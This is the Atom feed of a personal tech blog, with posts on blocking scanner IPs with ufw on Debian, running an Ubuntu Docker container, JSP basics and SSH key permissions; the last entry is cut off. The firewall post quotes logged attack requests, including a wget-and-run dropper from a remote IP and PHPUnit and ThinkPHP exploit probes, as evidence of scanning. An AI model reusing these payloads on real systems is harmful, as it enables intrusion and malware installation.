<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>Raf</title>
 <link href="https://www.instagram.com/zeroquitgenes//atom.xml" rel="self"/>
 <link href="https://www.instagram.com/zeroquitgenes//"/>
 <updated>2026-11-23T22:28:13+00:00</updated>
 <id>https://www.instagram.com/zeroquitgenes/</id>
 <author>
   <name>Raf</name>
   <email></email>
 </author>

 
 <entry>
   <title>Enable Firewall On My Debian Server</title>
   <link href="https://www.instagram.com/zeroquitgenes//2022/03/04/Enable-firewall-on-my-Debian-server/"/>
   <updated>2022-03-04T00:00:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2022/03/04/Enable-firewall-on-my-Debian-server</id>
   <content type="html">&lt;p&gt;I ran a simple Python webserver to host mp3 files that my mom asked me to download from Youtube the other day.
Yep, I am technically the technical support of anything tech in the family. She sometimes found a good song on Youtube and would want an mp3 of it.&lt;/p&gt;

&lt;p&gt;I wrote a simple web service using Python and Flask and let her supply the Youtube link to it, and it will download the mp3 for her - Thanks youtube-dl!&lt;/p&gt;

&lt;p&gt;However, being the cheapskate that I am, I’m running this server on 1GB RAM. So that simple task, unfortunately, take a few minutes to complete.
Therefore, I fire up a simple web server for her to download the processed mp3 later.&lt;/p&gt;

&lt;p&gt;I log all the requests coming to the web server to a file. As you can see below, it seemed that my server is always being scanned.&lt;/p&gt;
&lt;pre&gt;
188.153.229.155 - - [04/Mar/2022 07:31:51] code 400, message Bad request syntax (&apos;GET /shell?cd+/tmp;rm+-rf+*;wget+ http://2.56.57.7/.s4y/arm;sh+/tmp/arm HTTP/1.1&apos;)
188.153.229.155 - - [04/Mar/2022 07:31:51] &quot;GET /shell?cd+/tmp;rm+-rf+*;wget+ http://2.56.57.7/.s4y/arm;sh+/tmp/arm HTTP/1.1&quot; 400 -
45.146.165.37 - - [04/Mar/2022 11:10:12] &quot;POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1&quot; 501 -
45.146.165.37 - - [04/Mar/2022 11:59:10] &quot;GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1&quot; 302 -
5.129.3.8 - - [04/Mar/2022 12:29:46] &quot;GET /.well-known/assetlinks.json HTTP/1.1&quot; 302 -
5.129.3.8 - - [04/Mar/2022 12:29:51] &quot;GET /.well-known/assetlinks.json HTTP/1.1&quot; 302 -
34.229.145.138 - - [04/Mar/2022 12:30:24] &quot;GET /app-ads.txt HTTP/1.1&quot; 302 -
92.39.215.63 - - [04/Mar/2022 12:32:40] &quot;GET /.well-known/assetlinks.json HTTP/1.1&quot; 302 -
178.214.251.62 - - [04/Mar/2022 12:32:44] &quot;GET /.well-known/assetlinks.json HTTP/1.1&quot; 302 -
45.146.165.37 - - [04/Mar/2022 12:48:48] &quot;GET /index.php?s=/Index/\think\app/invokefunction&amp;amp;function=call_user_func_array&amp;amp;vars[0]=md5&amp;amp;vars[1][]=HelloThinkPHP21 HTTP/1.1&quot; 302 -
107.175.87.164 - - [04/Mar/2022 13:14:59] &quot;POST /boaform/admin/formLogin HTTP/1.1&quot; 501 -
66.249.89.4 - - [04/Mar/2022 13:29:22] &quot;GET /feeds/posts/default HTTP/1.1&quot; 302 -
45.146.165.37 - - [04/Mar/2022 13:42:45] &quot;GET /?a=fetch&amp;amp;content=&lt;php&gt;die(@md5(HelloThinkCMF))&lt;/php&gt; HTTP/1.1&quot; 302 -
45.137.23.152 - - [04/Mar/2022 14:55:11] &quot;GET /doc/script/lib/seajs/config/sea-config.js HTTP/1.1&quot; 302 -
45.146.165.37 - - [04/Mar/2022 15:03:13] code 501, message Unsupported method (&apos;POST&apos;)
45.146.165.37 - - [04/Mar/2022 15:03:13] &quot;POST /Autodiscover/Autodiscover.xml HTTP/1.1&quot; 501 -
34.86.35.15 - - [04/Mar/2022 15:34:33] code 400, message Bad request version (&apos;À(À$À\x14À&apos;)
34.86.35.15 - - [04/Mar/2022 15:34:33] &quot;ÊÆãq~Ãk~8aP»®¥4@V4xü&amp;gt;ãfWhÌÌÀ/À+À0À,ÀÀÀ&apos;À#ÀÀ     À(À$ÀÀ&quot; 400 -
&lt;/pre&gt;
&lt;p&gt;And I checked Upcloud’s (my cloud provider) firewall package. Unfortunately, it will cost me $4.03 per month / $0.0056 per hour just to get the firewall running. Yikes!&lt;/p&gt;

&lt;p&gt;So I decided to enable the firewall on the server itself. So let us just block those IPs.&lt;/p&gt;

&lt;p&gt;First, I have to get the list of IPs into a file. I assumed no natural person visited my site yesterday.
So I quickly run a quick command just to get the IPs.&lt;/p&gt;

&lt;pre&gt;
cat log.txt | cut -d&quot; &quot; -f1 | sort | uniq -c | awk &apos;{print $2}&apos; &amp;gt; log_ip.txt
&lt;/pre&gt;

&lt;p&gt;So I have something like this.&lt;/p&gt;

&lt;pre&gt;
45.146.165.37
45.155.126.211
45.87.61.162
51.222.253.13
51.222.253.9
...
66.249.89.2
66.249.89.31
66.249.89.4
81.38.99.77
82.84.179.154
89.187.182.24
92.39.215.63
&lt;/pre&gt;

&lt;p&gt;Now, it’s time to enable the firewall.
First, get it installed.&lt;/p&gt;

&lt;pre&gt;
sudo apt update
sudo apt install ufw
&lt;/pre&gt;

&lt;p&gt;Then, check if it’s running. It should be disabled by default.&lt;/p&gt;
&lt;pre&gt;
sudo ufw status verbose
&lt;/pre&gt;

&lt;p&gt;Next, I add some rules that allow my applications and services to listen to certain ports&lt;/p&gt;
&lt;pre&gt;
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp
sudo ufw allow 8000/tcp
sudo ufw allow 8080/tcp
sudo ufw allow 3306/tcp
sudo ufw allow 443/tcp
&lt;/pre&gt;

&lt;p&gt;Then, it is time to enable the firewall&lt;/p&gt;
&lt;pre&gt;
sudo ufw enable
sudo ufw status verbose
&lt;/pre&gt;

&lt;p&gt;It will show the current configuration, which looks like something like this.&lt;/p&gt;

&lt;pre&gt;
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
22/tcp                     ALLOW IN    Anywhere
80/tcp                     ALLOW IN    Anywhere
8000/tcp                   ALLOW IN    Anywhere
8080/tcp                   ALLOW IN    Anywhere
3306/tcp                   ALLOW IN    Anywhere
443/tcp                    ALLOW IN    Anywhere
22/tcp (v6)                ALLOW IN    Anywhere (v6)
80/tcp (v6)                ALLOW IN    Anywhere (v6)
8000/tcp (v6)              ALLOW IN    Anywhere (v6)
8080/tcp (v6)              ALLOW IN    Anywhere (v6)
3306/tcp (v6)              ALLOW IN    Anywhere (v6)
443/tcp (v6)               ALLOW IN    Anywhere (v6)
&lt;/pre&gt;

&lt;p&gt;Now, I ran a simple loop to add the list of IPs before to the “ban” list.&lt;/p&gt;
&lt;pre&gt;
while read line; do sudo ufw insert 1 deny from $line to any; done &amp;lt; log_ip.txt
&lt;/pre&gt;

&lt;p&gt;That will give you something like this&lt;/p&gt;
&lt;pre&gt;
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
Anywhere                   DENY IN     34.86.35.15
Anywhere                   DENY IN     128.14.141.34
Anywhere                   DENY IN     176.107.23.166
Anywhere                   DENY IN     124.206.180.139
....
&lt;/pre&gt;

&lt;p&gt;To check if this works, see the UFW log files&lt;/p&gt;
&lt;pre&gt;
sudo less /var/log/ufw.log
&lt;/pre&gt;

&lt;p&gt;You should be able to see something like this&lt;/p&gt;
&lt;pre&gt;
ar  5 05:52:46 kemaman kernel: [3519702.189354] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=57458 DF PROTO=TCP SPT=41831 DPT=34426 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:46 kemaman kernel: [3519702.254407] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=241 ID=35403 DF PROTO=TCP SPT=40709 DPT=16304 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:46 kemaman kernel: [3519702.344754] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=1862 DF PROTO=TCP SPT=16234 DPT=53181 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:47 kemaman kernel: [3519702.993538] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=56444 DF PROTO=TCP SPT=40709 DPT=16305 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:47 kemaman kernel: [3519703.018882] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=36868 DF PROTO=TCP SPT=16234 DPT=53182 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:47 kemaman kernel: [3519703.213572] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=1383 DF PROTO=TCP SPT=41831 DPT=34427 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:48 kemaman kernel: [3519703.887525] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=241 ID=28004 DF PROTO=TCP SPT=16234 DPT=53183 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:48 kemaman kernel: [3519704.229145] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=35890 DF PROTO=TCP SPT=41831 DPT=34428 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:48 kemaman kernel: [3519704.266641] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=14878 DF PROTO=TCP SPT=40709 DPT=16306 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:49 kemaman kernel: [3519705.166388] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=79.124.62.86 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=235 ID=2928 PROTO=TCP SPT=47144 DPT=20290 WINDOW=1024 RES=0x00 SYN URGP=0
Mar  5 05:52:49 kemaman kernel: [3519705.195344] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=241 ID=35627 DF PROTO=TCP SPT=16234 DPT=53184 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:49 kemaman kernel: [3519705.253392] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=59670 DF PROTO=TCP SPT=41831 DPT=34429 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:49 kemaman kernel: [3519705.324782] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=40991 DF PROTO=TCP SPT=40709 DPT=16307 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:50 kemaman kernel: [3519705.947431] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=154.198.193.133 DST=94.237.78.193 LEN=44 TOS=0x00 PREC=0x00 TTL=52 ID=0 DF PROTO=TCP SPT=47369 DPT=6379 WINDOW=1024 RES=0x00 SYN URGP=0
Mar  5 05:52:50 kemaman kernel: [3519706.239341] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=21826 DF PROTO=TCP SPT=16234 DPT=53185 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:50 kemaman kernel: [3519706.372121] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=23077 DF PROTO=TCP SPT=41831 DPT=34430 WINDOW=512 RES=0x00 SYN URGP=0
Mar  5 05:52:50 kemaman kernel: [3519706.494910] [UFW BLOCK] IN=eth0 OUT= MAC=b2:5c:a8:86:1d:71:9a:7e:00:3b:09:c7:08:00 SRC=103.89.91.231 DST=94.237.78.193 LEN=40 TOS=0x00 PREC=0x00 TTL=240 ID=24427 DF PROTO=TCP SPT=40709 DPT=16308 WINDOW=512 RES=0x00 SYN URGP=0
&lt;/pre&gt;

&lt;p&gt;That’s it! It might not be the best practice, and I probably wasted some resources just to run it.&lt;/p&gt;

&lt;p&gt;Also, talking about adding new IPs later on….&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Quickly Spawn A Docker Container Running Ubuntu</title>
   <link href="https://www.instagram.com/zeroquitgenes//2022/02/20/Quickly-spawn-a-Docker-container-running-Ubuntu/"/>
   <updated>2022-02-20T00:00:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2022/02/20/Quickly-spawn-a-Docker-container-running-Ubuntu</id>
   <content type="html">&lt;p&gt;&lt;b&gt;Quickly spawn a docker container running ubuntu&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;Create a docker-compose.yml file&lt;/p&gt;
&lt;pre&gt;
version: &quot;3&quot;
services:
  ubuntu:
    container_name: ubuntu
    image: ubuntu
    restart: on-failure
    tty: true
&lt;/pre&gt;

&lt;p&gt;Run it as a service and keep it running&lt;/p&gt;
&lt;pre&gt;
docker-compose up -d
&lt;/pre&gt;

&lt;p&gt;Check your container&lt;/p&gt;
&lt;pre&gt;
$ docker ps
CONTAINER ID   IMAGE     COMMAND                  CREATED              STATUS              PORTS                               NAMES
92db2d2e58e1   ubuntu    &quot;bash&quot;                   About a minute ago   Up About a minute                                       ubuntu
10a50730c227   mysql     &quot;docker-entrypoint.s…&quot;   3 weeks ago          Up About an hour    33060/tcp, 0.0.0.0:3308-&amp;gt;3306/tcp   database-db-1
a52cd313247c   mysql     &quot;docker-entrypoint.s…&quot;   3 weeks ago          Up About an hour    33060/tcp, 0.0.0.0:3307-&amp;gt;3306/tcp   weddapp-db-1
&lt;/pre&gt;

&lt;p&gt;Access your container where ubuntu is your container name or container ID&lt;/p&gt;
&lt;pre&gt;
$ docker exec -it ubuntu bash
&lt;/pre&gt;

&lt;p&gt;Copy a directory (i.e. mydir) from host to the container
On the host, go the directory, perhaps one level above.&lt;/p&gt;

&lt;p&gt;Run the following where 92db2d2e58e1 is your container ID&lt;/p&gt;
&lt;pre&gt;
docker cp mydir/. 92db2d2e58e1:/mydir
&lt;/pre&gt;

&lt;p&gt;Copy a directory (i.e. mydir) from container to host
Go the directory in the host where you want the directory to be copied to.&lt;/p&gt;

&lt;p&gt;Run the following where 92db2d2e58e1 is your container ID&lt;/p&gt;
&lt;pre&gt;
docker cp 92db2d2e58e1:/mydir/. mydir
&lt;/pre&gt;
</content>
 </entry>
 
 <entry>
   <title>Problem with posts imported from Blogspot</title>
   <link href="https://www.instagram.com/zeroquitgenes//2022/02/14/Problem-with-posts-imported-from-Blogspot/"/>
   <updated>2022-02-14T01:57:29+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2022/02/14/Problem-with-posts-imported-from-Blogspot</id>
   <content type="html">&lt;p&gt;Sheshhhh!&lt;/p&gt;

&lt;p&gt;So, some of the posts that I’ve imported from my old blogspot seems to be OK but mostly were NOT.&lt;/p&gt;

&lt;p&gt;Unfortunately, I do not want to spend time fixing them now. They are here as an archive anyway.&lt;/p&gt;

&lt;p&gt;If you’re stumbled upon those that weirdly break, accept my apologies.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Get started on Android</title>
   <link href="https://www.instagram.com/zeroquitgenes//2022/02/03/Get-started-on-Android/"/>
   <updated>2022-02-03T21:57:29+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2022/02/03/Get-started-on-Android</id>
   <content type="html">&lt;p&gt;Although the Android Developer site is pretty comprehensive, I found it is also useful for me to learn Android Developement via videos. TheNewBoston is hands down one of the best tutorial sites for technical knowledge, mainly for programming languages such as C, C++, Java and a couple more. If you haven’t gone through his video, do check them &lt;a href=&quot;http://thenewboston.org/list.php?cat=6&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Nevertheless, I still think that some important aspects of Android development are best exemplified on &lt;a href=&quot;http://developer.android.com/training/index.html&quot;&gt;Android Developer site&lt;/a&gt; and you will find you’ll be doing frequent visit to the site. Bookmark it! :-)&lt;br /&gt;&lt;br /&gt;You also need to know the &lt;a href=&quot;http://developer.android.com/reference/packages.html&quot;&gt;Android API&lt;/a&gt; site. These explain all available APIs and it will be useful for you in order to understand each and every objects and their methods of within Android’s Java. If you use Eclipse, right clicking on the methods will redirect you to this site within the editor itself.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Understanding Convenient and Secured modes</title>
   <link href="https://www.instagram.com/zeroquitgenes//2022/02/03/Understanding-Convenient-and-Secured-modes/"/>
   <updated>2022-02-03T21:55:37+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2022/02/03/Understanding-Convenient-and-Secured-modes</id>
   <content type="html">&lt;p&gt;I had some misunderstanding on how the convenient mode works. I first thought that it needs some sort of security on the App as well. So, what I have in mind was…User needs to do the graphical login before “passcode” (key) is automatically sent to the Rpi.&lt;br /&gt;&lt;br /&gt;I was mistaken. The key to convenient is that the User should not need to do anything at all, other than just launching the App.&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;The diagram below should explain it better:&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-7_1CnzUOjyY/Utyg43yzIYI/AAAAAAAAA1A/c48GN68-ynQ/s1600/Copy+of+The+two+modes.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-7_1CnzUOjyY/Utyg43yzIYI/AAAAAAAAA1A/c48GN68-ynQ/s1600/Copy+of+The+two+modes.png&quot; height=&quot;128&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&amp;gt;Convenient and Secured Mode&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;Link for a better view : &lt;a href=&quot;https://docs.google.com/drawings/d/1M_vccqF-fUs8wzW_sEHCyY5l_3I8zFaCVnUQIM9xyys/edit?usp=sharing&quot;&gt;Link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>What is Agile Software Developement</title>
   <link href="https://www.instagram.com/zeroquitgenes//2022/02/03/What-is-Agile-Software-Developement/"/>
   <updated>2022-02-03T21:54:20+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2022/02/03/What-is-Agile-Software-Developement</id>
   <content type="html">&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Found some good videos on Agile Software Developement. Good watch!&lt;/div&gt;&lt;br /&gt;&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;270&quot; src=&quot;https://www.youtube.com/embed/9TycLR0TqFA&quot; width=&quot;480&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;270&quot; src=&quot;https://www.youtube.com/embed/502ILHjX9EE&quot; width=&quot;480&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Getting a software developer job</title>
   <link href="https://www.instagram.com/zeroquitgenes//2022/02/03/Getting-a-software-developer-job/"/>
   <updated>2022-02-03T21:53:35+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2022/02/03/Getting-a-software-developer-job</id>
   <content type="html">&lt;p&gt;Ask yourself :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Your past projects/coding style&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;You technical knowledge on your stated skills&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Your personality&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Your workflow - do you have a clear thought process behind what you do and why you do it&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Ability to take constructive criticism&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;A love of coding - because there will be constant learning throughout your career and if you aren’t prepared to do that, you will seem like a poor long term investment&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;An excellent understanding of the tools you use: frameworks, IDE, language, task-runner, version control, graphics software.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Intro to Java Server Pages (JSP)</title>
   <link href="https://www.instagram.com/zeroquitgenes//2022/02/03/Intro-to-Java-Server-Pages-(JSP)/"/>
   <updated>2022-02-03T21:46:39+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2022/02/03/Intro-to-Java-Server-Pages-(JSP)</id>
   <content type="html">&lt;p&gt;&lt;b&gt;What is JSP?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;JavaServer Pages (JSP)&lt;/b&gt; is a technology for developing web pages by inserting java code in HTML pages using special JSP tags, most of which start with &amp;lt;% and end with %&amp;gt;.&lt;br /&gt;&lt;br /&gt;JSP can be used as part of the front end (client side) as well as the back end (server side). That means:&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;JSP is written inside HTML file (&lt;b&gt;as a client side code&lt;/b&gt;) to perform some logic &amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;JSP can be used just like Java Servlet (&lt;b&gt;as a server side code&lt;/b&gt;) - create connection to database, perform query, perform validation logic and so on.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;b&gt;&lt;br /&gt;Why JSP? Why not just use Java Servlet?&lt;br /&gt;&lt;br /&gt;JSP vs. Pure Servlets :&lt;/b&gt;&lt;br /&gt;It is more convenient to write (and to modify!) regular HTML file than to have plenty of println statements in Java Servlets that generate the HTML response.&lt;br /&gt;&lt;br /&gt;However, JSP pages can also be used in combination with Java Servlets that handle the business logic and this is usually the code. Java Servlet is usually required to perform more powerful business logic.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;JSP Processing:&lt;/b&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Like normal page, your browser sends an HTTP request to the web server.&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;The web server recognizes that the HTTP request is for a JSP page and forwards it to a JSP engine. This is done by using the file page which ends with .jsp instead of .html i.e. index.jsp instead of index.html&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;The JSP engine converts the JSP page into a Java Servlet. All JSP elements are converted to Java code inside this generated Java Servlet.&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;The generated Java Servlet is then compiled into an executable class.&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Servlet container loads the servlet class and executes it.&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;During execution, the servlet produces an output in HTML format inside an HTTP Response.&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;The web server forwards the HTTP response (in HTML) to your browser.&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Finally web browser generates the HTML page inside the HTTP response.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;All the above mentioned steps can be shown below in the following diagram&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-kcSMPkrp04A/WH42YNGqcYI/AAAAAAAABuA/G6GvHC51wckNzs-T9uNIoIvV5XQJMVd5ACLcB/s1600/jsp-processing.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;328&quot; src=&quot;https://1.bp.blogspot.com/-kcSMPkrp04A/WH42YNGqcYI/AAAAAAAABuA/G6GvHC51wckNzs-T9uNIoIvV5XQJMVd5ACLcB/s640/jsp-processing.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;So in a way, a JSP page is really just another way to write a Java Servlet without having to be a Java programming wizard. Except for the translation phase, a JSP page is handled exactly like a regular Java Servlet&lt;br /&gt;&lt;br /&gt;Learn JSP Syntax. Proceed to &lt;a href=&quot;https://www.tutorialspoint.com/jsp/jsp_syntax.htm&quot; style=&quot;font-weight: bold;&quot;&gt;https://www.tutorialspoint.com/jsp/jsp_syntax.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Try doing this simple project :&lt;br /&gt;&lt;b&gt;&lt;a href=&quot;http://www.javaknowledge.info/login-and-registration-example-in-jsp-with-session/&quot;&gt;http://www.javaknowledge.info/login-and-registration-example-in-jsp-with-session/&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Why am I still getting a password prompt with ssh with public key authentication</title>
   <link href="https://www.instagram.com/zeroquitgenes//2022/02/03/Why-am-I-still-getting-a-password-prompt-with-ssh-with-public-key-authentication/"/>
   <updated>2022-02-03T21:45:19+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2022/02/03/Why-am-I-still-getting-a-password-prompt-with-ssh-with-public-key-authentication</id>
   <content type="html">&lt;p&gt;Following this tutorial : http://www.linuxproblem.org/art_9.html&lt;br /&gt;&lt;br /&gt;Why am I still getting a password prompt with ssh with public key authentication?&lt;br /&gt;&lt;br /&gt;Make sure the permissions on the ~/.ssh directory and its contents are proper. Create .ssh folder if it’s not there yet. Same goes to authorized_keys file.&lt;br /&gt;&lt;br /&gt;Your home directory ~, your ~/.ssh directory and the ~/.ssh/authorized_keys file on the remote machine must be writable only by you:&lt;br /&gt;rwx—— and rwxr-xr-x are fine, but rwxrwx— is no good.&lt;br /&gt;700 or 755, not 775&lt;br /&gt;&lt;br /&gt;If ~/.ssh or authorized_keys is a symbolic link, the canonical path (with symbolic links expanded) is checked.&lt;br /&gt;&lt;br /&gt;Your ~/.ssh/authorized_keys file (on the remote machine) must be readable (at least 400) but you probably need it to be also writable (600) if you will add any more keys to it.&lt;br /&gt;&lt;br /&gt;Your private key file (on the local machine) must be readable and writable only by you: rw——-, i.e. 600.&lt;br /&gt;&lt;br /&gt;Also, if SELinux is set to enforcing, you may need to run restorecon -R -v ~/.ssh (see e.g. Ubuntu bug 965663 and Debian bug report #658675; this is patched in CentOS 6).&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Removing unread and not starred email in Gmail</title>
   <link href="https://www.instagram.com/zeroquitgenes//2020/04/08/Removing-unread-and-not-starred-email-in-Gmail/"/>
   <updated>2020-04-08T13:31:04+00:00</updated>
